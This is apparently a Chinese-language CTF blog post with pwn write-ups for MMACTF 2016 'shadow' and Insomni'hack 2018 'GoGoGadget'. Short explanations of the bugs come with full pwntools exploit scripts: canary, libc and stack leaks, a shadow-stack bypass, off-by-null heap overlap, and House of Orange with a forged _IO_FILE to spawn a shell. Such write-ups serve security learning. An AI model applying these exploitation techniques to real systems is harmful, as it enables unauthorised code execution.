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sunichi@DUBHE | Linux & Pwn & Fuzz

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2019 Jan pwn writeup

发表于 更新于
本文字数： 9.1k 阅读时长 ≈ 8 分钟

MMACTF 2016 shadow

程序的基本功能包括：输入姓名；设定message长度；输入message。共有3次修改姓名和message的机会。

程序中实现了一个影子栈及pop、push、call和ret的函数，使得无法覆盖调用ret进行返回的函数的返回地址。在进行函数调用时，未被保护到的函数为程序调用的libc中的函数，这些函数仍然执行汇编指令ret进行返回而不是程序自行实现的ret函数。

利用无符号数的转换来泄漏canary和libc地址。由于name的地址保存在栈上，通过输入的漏洞可以覆盖该地址为_environ地址来泄漏栈地址。用于记录剩余输入次数的变量也保存在栈上。在修改name前，把name指向read函数的返回地址（libc中的函数没有得到ret函数的保护），使得在修改name时能够控制程序执行流来getshell。

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# coding=utf-8
from pwn import *

def pwn():
    BIN_PATH = './shadow'
    DEBUG = 1
    context.arch = 'i386'
    if DEBUG == 1:
        p = process(BIN_PATH)
        elf = ELF(BIN_PATH)
        context.log_level = 'debug'
        context.terminal = ['tmux', 'split', '-h']
        if context.arch == 'amd64':
            libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        else:
            libc = ELF('/lib/i386-linux-gnu/libc.so.6')

    # leak canary
    p.recvuntil('name : ')
    p.sendline('sunichi')
    p.recvuntil('length : ')
    p.sendline('-1')
    p.sendafter('message : ', 'a' * 33)
    p.recvuntil('a' * 33)
    canary = '\x00' + p.recv(3)
    # leak libc
    p.sendlineafter('(y/n) :', 'n')
    p.recvuntil('length : ')
    p.sendline('-1')
    payload = 'a' * 41
    p.sendafter('message : ', payload)
    p.recvuntil(payload)
    recv = '\x00' + p.recv(3)
    recv = u32(recv)
    print hex(recv)
    libc.address = recv - (0xf76f3000 - 0xf7541000)
    print hex(libc.address)
    # leak stack address
    p.sendlineafter('(y/n) :', 'n')
    p.recvuntil('length : ')
    p.sendline('-1')
    payload = 'a' * 0x20 + canary + 'a' * 8 + p32(0) + p32(0)
    payload += p32(libc.symbols['_environ']) + p32(0x0804a800) + p32(100)
    p.sendafter('message : ', payload)
    p.recvuntil(') <')
    stack_addr = u32(p.recv(4))
    print hex(stack_addr)
    # attack
    p.sendlineafter('(y/n) :', 'n')
    p.recvuntil('length : ')
    p.sendline('-1')
    payload = 'a' * 0x20 + canary + 'a' * 8 + p32(0) + p32(0)
    payload += p32(stack_addr - (0x98c-0x7bc)) + p32(0x0804a800) + p32(100)
    p.sendafter('message : ', payload)
    payload = p32(libc.symbols['system']) + p32(0x0804a800) + p64(next(libc.search('/bin/sh')))
    p.sendafter('name : ', payload)

    p.interactive()
    p.close()


if __name__ == '__main__':
    pwn()

Insomni’hack 2018 GoGoGadget

Copter输入内容时调用的read函数，可以用来泄漏地址。Gadget的scanf函数导致off-by-null，可用来制造堆块重叠。利用House of Orange来getshell。

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from pwn import *


_IO_FILE_plus_size = {
    'i386': 0x98,
    'amd64': 0xe0
}

_IO_FILE_plus = {
    'i386': {
        0x0: '_flags',
        0x4: '_IO_read_ptr',
        0x8: '_IO_read_end',
        0xc: '_IO_read_base',
        0x10: '_IO_write_base',
        0x14: '_IO_write_ptr',
        0x18: '_IO_write_end',
        0x1c: '_IO_buf_base',
        0x20: '_IO_buf_end',
        0x24: '_IO_save_base',
        0x28: '_IO_backup_base',
        0x2c: '_IO_save_end',
        0x30: '_markers',
        0x34: '_chain',
        0x38: '_fileno',
        0x3c: '_flags2',
        0x40: '_old_offset',
        0x44: '_cur_column',
        0x46: '_vtable_offset',
        0x47: '_shortbuf',
        0x48: '_lock',
        0x4c: '_offset',
        0x54: '_codecvt',
        0x58: '_wide_data',
        0x5c: '_freeres_list',
        0x60: '_freeres_buf',
        0x64: '__pad5',
        0x68: '_mode',
        0x6c: '_unused2',
        0x94: 'vtable'
    },

    'amd64': {
        0x0: '_flags',
        0x8: '_IO_read_ptr',
        0x10: '_IO_read_end',
        0x18: '_IO_read_base',
        0x20: '_IO_write_base',
        0x28: '_IO_write_ptr',
        0x30: '_IO_write_end',
        0x38: '_IO_buf_base',
        0x40: '_IO_buf_end',
        0x48: '_IO_save_base',
        0x50: '_IO_backup_base',
        0x58: '_IO_save_end',
        0x60: '_markers',
        0x68: '_chain',
        0x70: '_fileno',
        0x74: '_flags2',
        0x78: '_old_offset',
        0x80: '_cur_column',
        0x82: '_vtable_offset',
        0x83: '_shortbuf',
        0x88: '_lock',
        0x90: '_offset',
        0x98: '_codecvt',
        0xa0: '_wide_data',
        0xa8: '_freeres_list',
        0xb0: '_freeres_buf',
        0xb8: '__pad5',
        0xc0: '_mode',
        0xc4: '_unused2',
        0xd8: 'vtable'
    }
}

class IO_FILE_plus_struct(dict):
    arch = None
    endian = None
    fake_file = None
    size = 0
    FILE_struct = []

    @LocalContext
    def __init__(self):
        self.arch = context.arch
        self.endian = context.endian

        if self.arch != 'i386' and self.arch != 'amd64':
            log.error('architecture not supported!')
        success('arch: '+str(self.arch))

        self.FILE_struct = [_IO_FILE_plus[self.arch][i]
                            for i in sorted(_IO_FILE_plus[self.arch].keys())]
        print self.FILE_struct
        self.update({r: 0 for r in self.FILE_struct})
        self.size = _IO_FILE_plus_size[self.arch]

    def __setitem__(self, item, value):
        if item not in self.FILE_struct:
            log.error("Unknown item %r (not in %r)" % (item, self.FILE_struct))
        super(IO_FILE_plus_struct, self).__setitem__(item, value)

    def __setattr__(self, attr, value):
        if attr in IO_FILE_plus_struct.__dict__:
            super(IO_FILE_plus_struct, self).__setattr__(attr, value)
        else:
            self[attr] = value

    def __getattr__(self, attr):
        return self[attr]

    def __str__(self):
        fake_file = ""
        with context.local(arch=self.arch):
            for item_offset in sorted(self.item_offset):
                if len(fake_file) < item_offset:
                    fake_file += "\x00"*(item_offset - len(fake_file))
                fake_file += pack(self[_IO_FILE_plus[self.arch]
                                       [item_offset]], word_size='all')
            fake_file += "\x00"*(self.size - len(fake_file))
        return fake_file

    @property
    def item_offset(self):
        return _IO_FILE_plus[self.arch].keys()

def Create(p, content):
    p.sendlineafter('Go Go Gadget: ', str(1))
    p.sendlineafter('Gadget :', content)
    if len(content) == 0xa8:
        p.recvuntil('Go Go Gadget: ')

def Delete(p, idx):
    p.sendlineafter('Go Go Gadget: ', str(2))
    p.sendlineafter('Gadget [id] :', str(idx))

def GoGoGadget(p, idx):
    p.sendlineafter('Go Go Gadget: ', str(3))
    p.sendlineafter('Gadget [idx] :', str(idx))

def Active(p, speed, content):
    p.sendlineafter('Go Go Gadget: ', str(4))
    p.sendlineafter('Speed :', str(speed))
    p.sendafter('Destination :', content)

def Deactive(p):
    p.sendlineafter('Go Go Gadget: ', str(5))

def GoGoCopter(p):
    p.sendlineafter('Go Go Gadget: ', str(6))

def pwn():
    BIN_PATH = './gogogadget'
    context.arch = 'amd64'
    p = process(BIN_PATH)
    elf = ELF(BIN_PATH)
    context.log_level = 'debug'
    context.terminal = ['tmux', 'split', '-h']
    if context.arch == 'amd64':
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    else:
        libc = ELF('/lib/i386-linux-gnu/libc.so.6')

    Create(p, 'sunichi')
    Create(p, p64(0x60) * (0xa0 / 8))
    Create(p, p64(0x60) * (0xa0 / 8))
    Create(p, 'sunichi')
    Create(p, 'sunichi')
    Delete(p, 0)
    Delete(p, 1)
    Delete(p, 2)
    Delete(p, 3)
    payload = 'a' * 0xa0 + p64(0xb0)
    Create(p, payload)
    p.recvuntil('Wrong input !')
    payload = 'a' * 0xa0 + p64(0xb0)[:7]
    Create(p, payload)

    Active(p, 0, '\x78')
    GoGoCopter(p)
    p.recvuntil('Gogo Copter To: ')
    recv = p.recv(6)
    arena_88_addr = u64(recv.ljust(8, '\x00'))
    libc.address = arena_88_addr - (0x7efee8b41b78 - 0x00007efee877d000)

    Delete(p, 1)
    Delete(p, 4)

    Create(p, 'sunichi')
    Create(p, 'sunichi')
    Create(p, 'sunichi')
    Create(p, 'sunichi')

    Delete(p, 1)
    Delete(p, 3)
    GoGoCopter(p)
    p.recvuntil('Gogo Copter To: ')
    recv = p.recv(6)
    heap_addr = u64(recv.ljust(8, '\x00'))

    fake_file = IO_FILE_plus_struct()
    fake_file._flags = u64('/bin/sh\x00')
    fake_file._IO_read_ptr = 0x61
    fake_file._IO_read_base = 0x7fffffffffff-0x10
    fake_file._IO_write_base = 0
    fake_file._IO_write_ptr = 1
    fake_file._mode = 0
    fake_file.vtable = heap_addr - 80

    payload = p64(0) * 2 + p64(libc.symbols['system']) * 3
    payload = payload.ljust(0x50, '\x00') + '/bin/sh\x00' + p64(0xf1)[:2]
    Create(p, payload)
    payload = p64(0) + p64(0) + p64(0) + p64(1) + '\x00' * 0x21
    Create(p, payload)

    Delete(p, 4)
    Create(p, str(fake_file)[0x70:0xc8] + p64(0x51) + p64(0) * 3 + p64(heap_addr - 80))

    Delete(p, 1)
    Delete(p, 3)

    payload = p64(0) + p64(1) + p64(2) + p64(libc.symbols['system'])
    payload = payload.ljust(0x50, '\x00') + '/bin/sh\x00' + p64(0x61)
    payload += p64(libc.address + (0x7ffff7dd1b78 - 0x7ffff7a0d000)) + p64(libc.symbols['_IO_list_all'] - 0x10)
    payload += p64(0x30) + p64(0x40)
    Create(p, payload)

    print hex(heap_addr)
    print hex(arena_88_addr)
    print hex(libc.address)
    gdb.attach(p)
    
    p.interactive()
    p.close()

if __name__ == "__main__":
    pwn()